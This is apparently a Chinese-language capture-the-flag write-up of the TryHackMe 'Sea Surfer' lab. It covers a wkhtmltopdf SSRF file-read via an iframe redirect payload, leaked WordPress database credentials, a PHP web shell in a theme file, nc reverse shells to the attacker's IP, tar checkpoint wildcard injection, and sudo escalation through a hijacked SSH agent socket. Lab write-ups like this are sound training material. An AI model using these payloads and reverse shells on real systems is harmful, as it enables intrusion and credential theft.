0%

THM打靶日寄30-Sea Surfer

  • 扫描打点

    结果还是 2280 ,没什么东西

    • 80

      apache 的默认界面,dirsearch 什么都没扫到

      抓包看到 response 里面有 seasurfer.thm

      然后加 hosts 访问,看到是个类似博客的,用 WP 搭的

      扫出来有个 adminer

      既然加 hosts 了就应该顺便测一下子域名的:

      1
      ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.seasurfer.thm" -u http://seasurfer.thm/ -fs 10918

      看到:

      这个会生成一个 pdf

  • 生成 pdf 的文件读取漏洞拿数据库账密

    大一的哪场比赛似乎是见过这样的题的,下下来看到是 wkhtmltopdf 0.12.5 生成的

    而这个有 ssrf 和文件包含

    那就新建一个 php

    1
    2
    3
    4
    5
    6
    7
    <?php
    $loc = "http://127.0.0.1/";
    if(isset($_GET['a'])){
    $loc = $_GET['a'];
    }
    header('Location: '.$loc);
    ?>

    。。。这里卡了半天:注意用 php 来开服务而非 python,好像是 py 的服务器无法正确处理这样的请求

    php -S 0.0.0.0:8000

    在表单里填入

    <iframe src="http://10.10.14.216:8000/1.php?a=file:///etc/passwd">

    可以看到成功文件读取:

    由于是 WP 的站点,所以可以去读配置文件 /var/www/wordpress/wp-config.php

    顺便记得改一下显示的长宽:

    <iframe src="http://10.10.14.216:8000/1.php?a=file:///var/www/wordpress/wp-config.php" width=1000px height=1000px>

    拿到数据库账密 wordpressuser:coolDataTablesMan

    回到 adminer 那里:

    直接去 wp_user 找到加密的密码:

    爆出来:

    kyle:jenny4ever

    那直接去后台 wp-admin 登录:

    然后选择去 theme file editor 改个反弹 shell 出来,可以直接改 front-page.php ,这样直接访问主页就行:

    1
    <?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

    rm %2Ftmp%2Ff%3Bmkfifo %2Ftmp%2Ff%3Bcat %2Ftmp%2Ff|%2Fbin%2Fbash -i 2>%261|nc 10.10.14.216 4444 >%2Ftmp%2Ff

  • 亦有记载的横向

    kyle 的家目录访问不到,计划任务是空的,传个 pspy 看看进程,发现 /var/www/internal/maintenance 有个以 kyle 身份运行的 backup.sh

    不是为啥又是这个啊,此事在上一篇已有记载

    很眼熟的 tar 压缩命令,在 linuxPrivEsc 房间里面刚刚见过

    1
    2
    3
    echo 'mkfifo /tmp/orindc; nc 10.10.14.216 5555 0</tmp/orindc | /bin/sh >/tmp/orindc 2>&1; rm /tmp/orindc'>shell.sh
    touch ./--checkpoint=1
    touch './--checkpoint-action=exec=sh shell.sh'
  • 真不会的身份验证提权

    学了一下,要去看 /etc/pam.d/sudo ,其内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    #%PAM-1.0
    auth sufficient pam_ssh_agent_auth.so file=/etc/ssh/sudo_authorized_keys

    session required pam_env.so readenv=1 user_readenv=0
    session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
    @include common-auth
    @include common-account
    @include common-session-noninteractive:
    • PAM

      其用于用户身份验证,简略来说 /etc/pam.d 目录包含许多应用的配置文件,如这里用到的 sudo ,每个文件对应该应用的认证流程

      pam_ssh_agent_auth.so 是一个 PAM 模块,用于通过 ssh 公钥来认证用户身份,一般用在无密码的 ssh 登录中

      其参数 file 指定了公钥的文件路径

      在本例中,sudoauth 类型被配置为 sufficient pam_ssh_agent_auth.so ,即当 ssh 公钥认证成功后将跳过密码验证,即达到无密码使用 sudo 的效果

      即可以直接 sudo su 无密码提 root

      之前用 linpeas 扫的时候见到过:

      这个每个靶机是随机的

      那么综上所述,只需要把 tmp 里面的公钥加到 SSH_AUTH_SOCK 路径里,然后直接用 sudo 提权就行:

      1
      2
      3
      export SSH_AUTH_SOCK=/tmp/ssh-***/agent.***
      ssh-add -l
      sudo su